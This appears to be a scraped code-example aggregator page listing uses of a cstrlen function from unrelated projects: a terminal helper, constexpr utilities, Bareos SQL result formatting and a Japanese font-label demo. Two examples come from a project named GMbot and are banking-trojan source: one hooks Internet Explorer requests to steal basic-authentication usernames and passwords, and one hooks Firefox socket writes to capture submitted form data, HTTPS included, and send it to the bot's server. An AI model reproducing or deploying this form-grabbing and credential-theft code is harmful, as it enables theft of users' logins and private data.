					bRead = ContextLoadChunk(Ps, Ctx);
				}
			}	// if (Ctx->cActive < Ctx->cTotal)
			else
			{
				// There's a broken chunk sequence
				ASSERT(FALSE);
				bRead = 0;
			}
		}	// else // if (pChunk)
	}	// else	// if (Ctx->ChunkSize)

	return(bRead);
}
예제 #24
0
// Force text to the input screen
void Terminal::in_print_(const char* input_){
	cursX += cstrlen(input_);
	waddstr(input_window, input_);
	update_cursor_();
	refresh_();
}
예제 #25
0
inline constexpr ::std::size_t cstrlen(char const* const p) noexcept
{
  return *p ? 1 + cstrlen(p + 1) : 0;
}
예제 #26
0
constexpr size_type
operator "" _lenraw(const char* digits)
{
  return cstrlen(digits);
}
예제 #27
0
파일: iehook.c 프로젝트: 0x00dec0de/GMbot
//
//	Checks if the specified handle associated with URL that has any submited action within the config.
//	Tries to extract and send basic authentication data if any.
//
static ULONG IeCheckURL(
	HANDLE	hRequest, 
	LPSTR	Referer,
	PVOID*	ptCtx
	)
{
	ULONG	Status = URL_STATUS_UNDEF;
	ULONG	bSize = 0;
	LPTSTR	Url, pUser = NULL, pPass = NULL, FmtStr = NULL;

	InternetQueryOption(hRequest, INTERNET_OPTION_URL, NULL, &bSize);

	if ((bSize) && (Url = hAlloc(bSize + sizeof(_TCHAR))))
	{
		if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Url, &bSize))
		{
			Url[bSize] = 0;
			Status = ConfigCheckInitUrl(Url, Referer, ((StrStrI(Url, szHttps) == Url) ? TRUE : FALSE), ptCtx);

			// Queryin the Basic Authentication data
			bSize = MAX_USER_LEN * sizeof(_TCHAR);

			do	// not a loop
			{
				if (!(pUser = (LPTSTR)hAlloc(bSize)))
					break;

				if (!(pPass = (LPTSTR)hAlloc(bSize)))
					break;

				if (!InternetQueryOption(hRequest, INTERNET_OPTION_USERNAME, pUser, &bSize) || pUser[0] == 0)
					break;

				bSize = MAX_USER_LEN * sizeof(_TCHAR);
				if (!InternetQueryOption(hRequest, INTERNET_OPTION_PASSWORD, pPass, &bSize) || pPass[0] == 0)
					break;

				FmtStr = hAlloc((cstrlen(szDateTimeFmt) + cstrlen(szBasicFmt) + lstrlen(Url) + MAX_USER_LEN + MAX_USER_LEN + 1) * sizeof(_TCHAR));

				if (FmtStr)
				{
					bSize = PsSupPrintDateTime(FmtStr, NULL, TRUE);
					bSize += wsprintf(FmtStr + bSize, szBasicFmt, Url, pUser, pPass);
#ifdef _SEND_FORMS
					ConfSendData(FmtStr, bSize, SEND_ID_AUTH, NULL, FALSE);
#else
					PipeSendCommand(CMD_STORE_AUTH, FmtStr, bSize, NULL);
#endif
					hFree(FmtStr);
				}

			} while(FALSE);

			if (pUser)
				hFree(pUser);
			if (pPass)
				hFree(pPass);

		}	// if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Url, &bSize))
		hFree(Url);
	}	// if ((bSize) && (Url = hAlloc(bSize + sizeof(_TCHAR))))

	return(Status);
}
예제 #28
0
파일: prio.c 프로젝트: 0x00dec0de/GMbot
//
//	Common PR_Write dispatch function.
//	Checks if the specified request has to be handled, initiates any replace-data receive and sends HTTP-form data.
//
LONG PRIO_Write(
	PPR_SOCKET	Ps,		// socket handle
	PCHAR		buf,	// buffer containing data to write
	LONG		amount	// number of bytes to write
	)
{
	LONG	bRet = 0, bSize = 0;
	PCHAR	nBuffer;
	PHANDLE_CONTEXT Ctx = NULL;
	PHTTP_HEADERS	Headers = NULL;


	do	// not a loop
	{	
		if (amount == 0)
			break;

		if (!HttpIsRequest(buf, amount))
		{
			Ctx = FindHandle(Ps->fd);
			break;
		}

		if (!(nBuffer = StrStrNA(buf, szEmptyStr, amount)))
			break;

		ASSERT(nBuffer >= buf && (nBuffer < (buf + amount)));
	
		if (!(Headers = HttpParseHeaders(buf, (cstrlen(szEmptyStr) + (ULONG)(nBuffer - buf)))))
			break;

		if (!g_UserAgentStr)
			ActivateParser(HttpQueryAgent(Headers));

		if (!(Headers->Url = HttpQueryUrl(Headers, (Ps->Flags & PR_SOCKET_FLAG_SSL))))
			break;

		if ((g_ClientId.Plugins & PG_BIT_FORMS) || 
#ifdef _ALWAYS_HTTPS
			(Ps->Flags & PR_SOCKET_FLAG_SSL)
#else
			(FALSE)
#endif
			)
		{
			// Collecting and saving POST forms
			if (Headers->ContentSize) //&& ((Headers->ContentSize + Headers->HeadersSize) <= amount))		
			{
				PCHAR ContType = HttpFindHeaderA(Headers->Binary, szContentType, NULL);
				// Checking for Online Certificate Status Protocol (OCSP) request, and ignoring it if found
				if (!StrStrI(ContType, szOCSP))
				{
					// Creating a Context to store form data
					if (Ctx = FfCheckAddHandle(Ps->fd, Headers, CF_FORM, (Ps->Flags & PR_SOCKET_FLAG_SSL)))
						Ctx->Length = Headers->ContentSize;
				}
			}
		}	// if (g_ClientId.Plugins & PG_BIT_FORMS)

		// Checking out the URL
		if (Ctx || (Ctx = FfCheckAddHandle(Ps->fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL))))
		{

			ASSERT((Ctx->Flags & ~(CF_FORM | CF_REPLACE)) == 0);

			if (Ctx->Status == REQUEST_BLOCKED)
			{
				bRet = -1;
				bSize = -1;
				(Ps->Api->SetError)(PR_CONNECT_RESET_ERROR, 0, Ps->Context);
				break;
			}

			if (Ctx->Flags & CF_REPLACE)
			{
#ifdef	_PATCH_REPLACE_HEADERS
				// Checking if this is a GET request
				if (*(PULONG)Headers->Binary == uGET)
					// Patching request URI to make an invalid HTTP request.
					// All request headers and data will be relpaced. We don't need to receive any data there.
					buf[5] = '%';
#endif
			}	// if (Ctx->Flags & CF_REPLACE)
			else
			{
				// Addinig "Accept-Encoding: identity" header
				if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity, NULL))
				{
					hFree(Headers->Binary);
					Headers->Binary = nBuffer;
				}	// if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity))
			}	// else // if (Ctx->Flags & CF_REPLACE)
		}	// if (Ctx || (Ctx = FfCheckAddHandle(fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL))))

		// Checking if headers were modified
		if ((bSize = lstrlenA(Headers->Binary)) != Headers->HeadersSize)
		{
			PCHAR	SendBuffer;
			if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize))
			{
				memcpy(SendBuffer, Headers->Binary, bSize);
				memcpy(SendBuffer + bSize, (buf + Headers->HeadersSize), (amount - Headers->HeadersSize));
				bSize += (amount - Headers->HeadersSize);

				if ((bRet = (Ps->Api->Write)(Ps->fd, SendBuffer, bSize, NULL)) > 0)
					bRet = amount;

				hFree(SendBuffer);
			}	// if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize))
		}
		else
			bSize = 0;

	} while(FALSE);

	if (bSize == 0)
		// Nothing was sent, doning it now
		bRet = (Ps->Api->Write)(Ps->fd, buf, amount, Ps->Context);

	if ((Ctx) && (Ctx->Length))
	{
		// Checking if data was successfully sent and there was any form data
		if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR))
		{

			HRESULT hResult;
			LONG Sent = amount;
			PCHAR FormData = buf;

			if (Headers)
			{
				Sent -= Headers->HeadersSize;
				FormData += Headers->HeadersSize;

				// Saving request headers to the HTTP context, we need them later while posting a form
				Ctx->pHeaders = Headers->Binary;
				Headers->Binary = NULL;
			}

			Sent = min(Sent, Ctx->Length);

			// Saving form data into the data stream
			hResult = CoInvoke(Ctx->pStream, Write, FormData, Sent, NULL);
			ASSERT(hResult == S_OK);

			// Checking if all form data was successfully transmited
			if ((Ctx->Length -= Sent) == 0)
			{
				// Sending form data to the active host
				Sent = StreamGetLength(Ctx->pStream);
				if (FormData = (PCHAR)hAlloc(Sent))
				{
					StreamGotoBegin(Ctx->pStream);
					hResult = CoInvoke(Ctx->pStream, Read, FormData, Sent, (PULONG)&Sent);
					ASSERT(hResult == S_OK);

					PostForms(Ctx->Url, Ctx->pHeaders, NULL, FormData, Sent, SEND_ID_FORM, TRUE);
					hFree(FormData);
				}
				StreamClear(Ctx->pStream);

				// Form was sent
				if (Ctx->Flags & CF_FORM)
					ReleaseHandle(Ctx);
			}
			ASSERT(Ctx->Length >= 0);
		}	// if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR))
		else
		{
			// Form was not sent, an error occured
			if (Ctx->Flags & CF_FORM)
				ReleaseHandle(Ctx);
		}
	}	// if ((Ctx) && (Ctx->Length))
	
	if (Headers)
		HttpReleaseHeaders(Headers);
	else
	{
		// Releasing Context (only if it was just found)
		if (Ctx)
			ReleaseHandle(Ctx);
	}
	
	return(bRet);
}
예제 #29
0
파일: sql.c 프로젝트: engeenity/bareos
int list_result(void *vctx, int nb_col, char **row)
{
   SQL_FIELD *field;
   int i, col_len, max_len = 0;
   int num_fields;
   char buf[2000], ewc[30];

   LIST_CTX *pctx = (LIST_CTX *)vctx;
   DB_LIST_HANDLER *send = pctx->send;
   e_list_type type = pctx->type;
   B_DB *mdb = pctx->mdb;
   void *ctx = pctx->ctx;
   JCR *jcr = pctx->jcr;

   num_fields = sql_num_fields(mdb);
   switch (type) {
   case NF_LIST:
   case RAW_LIST:
      /*
       * No need to calculate things like maximum field lenght for
       * unformated or raw output.
       */
      break;
   case HORZ_LIST:
   case VERT_LIST:
      if (!pctx->once) {
         pctx->once = true;

         Dmsg1(800, "list_result starts looking at %d fields\n", num_fields);
         /*
          * Determine column display widths
          */
         sql_field_seek(mdb, 0);
         for (i = 0; i < num_fields; i++) {
            Dmsg1(800, "list_result processing field %d\n", i);
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            col_len = cstrlen(field->name);
            if (type == VERT_LIST) {
               if (col_len > max_len) {
                  max_len = col_len;
               }
            } else {
               if (sql_field_is_numeric(mdb, field->type) && (int)field->max_length > 0) { /* fixup for commas */
                  field->max_length += (field->max_length - 1) / 3;
               }
               if (col_len < (int)field->max_length) {
                  col_len = field->max_length;
               }
               if (col_len < 4 && !sql_field_is_not_null(mdb, field->flags)) {
                  col_len = 4;                 /* 4 = length of the word "NULL" */
               }
               field->max_length = col_len;    /* reset column info */
            }
         }

         pctx->num_rows++;

         Dmsg0(800, "list_result finished first loop\n");
         if (type == VERT_LIST) {
            break;
         }

         Dmsg1(800, "list_result starts second loop looking at %d fields\n", num_fields);

         /*
          * Keep the result to display the same line at the end of the table
          */
         list_dashes(mdb, last_line_handler, pctx);
         send(ctx, pctx->line);

         send(ctx, "|");
         sql_field_seek(mdb, 0);
         for (i = 0; i < num_fields; i++) {
            Dmsg1(800, "list_result looking at field %d\n", i);
            field = sql_fetch_field(mdb);
            if (!field) {
               break;
            }
            max_len = max_length(field->max_length);
            bsnprintf(buf, sizeof(buf), " %-*s |", max_len, field->name);
            send(ctx, buf);
         }
         send(ctx, "\n");
         list_dashes(mdb, send, ctx);
      }
      break;
   default:
      break;
   }

   switch (type) {
   case NF_LIST:
   case RAW_LIST:
      Dmsg1(800, "list_result starts third loop looking at %d fields\n", num_fields);
      sql_field_seek(mdb, 0);
      for (i = 0; i < num_fields; i++) {
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         if (row[i] == NULL) {
            bsnprintf(buf, sizeof(buf), " %s", "NULL");
         } else {
            bsnprintf(buf, sizeof(buf), " %s", row[i]);
         }
         send(ctx, buf);
      }
      if (type != RAW_LIST) {
         send(ctx, "\n");
      }
      break;
   case HORZ_LIST:
      Dmsg1(800, "list_result starts third loop looking at %d fields\n", num_fields);
      sql_field_seek(mdb, 0);
      send(ctx, "|");
      for (i = 0; i < num_fields; i++) {
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         max_len = max_length(field->max_length);
         if (row[i] == NULL) {
            bsnprintf(buf, sizeof(buf), " %-*s |", max_len, "NULL");
         } else if (sql_field_is_numeric(mdb, field->type) && !jcr->gui && is_an_integer(row[i])) {
            bsnprintf(buf, sizeof(buf), " %*s |", max_len,
                      add_commas(row[i], ewc));
         } else {
            bsnprintf(buf, sizeof(buf), " %-*s |", max_len, row[i]);
         }
         send(ctx, buf);
      }
      send(ctx, "\n");
      break;
   case VERT_LIST:
      Dmsg1(800, "list_result starts vertical list at %d fields\n", num_fields);
      sql_field_seek(mdb, 0);
      for (i = 0; i < num_fields; i++) {
         field = sql_fetch_field(mdb);
         if (!field) {
            break;
         }
         if (row[i] == NULL) {
            bsnprintf(buf, sizeof(buf), " %*s: %s\n", max_len, field->name, "NULL");
         } else if (sql_field_is_numeric(mdb, field->type) && !jcr->gui && is_an_integer(row[i])) {
            bsnprintf(buf, sizeof(buf), " %*s: %s\n", max_len, field->name,
                      add_commas(row[i], ewc));
         } else {
            bsnprintf(buf, sizeof(buf), " %*s: %s\n", max_len, field->name, row[i]);
         }
         send(ctx, buf);
      }
      send(ctx, "\n");
      break;
   default:
      break;
   }
   return 0;
}
예제 #30
0
// メインループ
static void FontAndLabel_Update( KLObj* pObj, void* pParam ){
	
	FontAndLabel*	p	= (FontAndLabel*)pObj;
	char* str = NULL;
	int i = 0;
	
	const char* pFontName [] = {
		
		KLFont_name[KLFontType_ArialMT],
		KLFont_name[KLFontType_Courier],
		KLFont_name[KLFontType_HiraKakuProN_W3],
		KLFont_name[KLFontType_Georgia],
		KLFont_name[KLFontType_HiraKakuProN_W6],
		
	};

	for( i=0; i<LABEL_MAX-1; ++i )
	{
		
		p->label[i].fontsize = 32;
	
		// charが1文字何byteか不定なので描画文字数指定はstrlenではなくcstrlenにする事!strlenはcharの総byte数で文字数ではない
		KLLabel_Draw(&p->label[i], (char*)pFontName[i], cstrlen(pFontName[i]), 16, 16+64*i, 0, RGBA(255,255,255,255), KLLABEL_ALIGN_L);
		
	}
	
	
	
	
	if( !p->scaledir )
	{
		p->fontsize += 1;
		
		if( p->fontsize>200 )
		{
			p->fontsize = 100;
			p->scaledir = 1;
		}
	}
	else
	{
		p->fontsize -= 1;
		
		if( p->fontsize<-100 )
		{
			p->fontsize = -100;
			p->scaledir = 0;
		}
	}
	
	p->label[i].fontsize = p->fontsize>100?100:p->fontsize<32?32:p->fontsize;
	
	
	str = "⏪左寄せ";
	KLLabel_Draw(&p->label[i], str, cstrlen(str), 16, 16+64*i, 0, RGBA(255,255,255,255), KLLABEL_ALIGN_L);
	
	str = "⏬中央寄せ⏬";
	KLLabel_Draw(&p->label[i], str, cstrlen(str), klib.view.w*0.5f, 16+64*(i+1), 0, RGBA(255,255,255,255), KLLABEL_ALIGN_CENTER);
	
	str = "右寄せ⏩";
	KLLabel_Draw(&p->label[i], str, cstrlen(str), klib.view.w-16, 16+64*(i+2), 0, RGBA(255,255,255,255), KLLABEL_ALIGN_R);
	
	str = "このように1文字ずつ表示する事もできます。途中改行も\nこの通り。改行コードor半角バックスラッシュ+nでも可能です。\\n描画前にフォントサイズを変更する事で文字列全体のサイズも変えることができます。\n[[FF0000]RR[00FF00]GG[0000FF]BB[FFFFFF]]形式の簡易タグで[99FF00]色指定[FFFFFF]をしたり、\n絵文字にも対応してます😜✨🔷\n\n同じラベルなら何文字描画してもDrawCallは1回です👍";
		
	if( p->wait++ % 12 ==0 )
	{
		
		p->wait = 0;
		p->clen++;
		
		if( p->clen > cstrlen(str)*2 )
		{
			p->clen = 0;
		}
		
	}
	
	p->label[i].fontsize = 24;
	
	KLLabel_Draw(&p->label[i], str, p->clen > cstrlen(str)?cstrlen(str):p->clen, klib.view.w*0.5f, 16+64*(i+4), klib.view.w - 8, RGBA(255,255,255,255), KLLABEL_ALIGN_CENTER);
	
}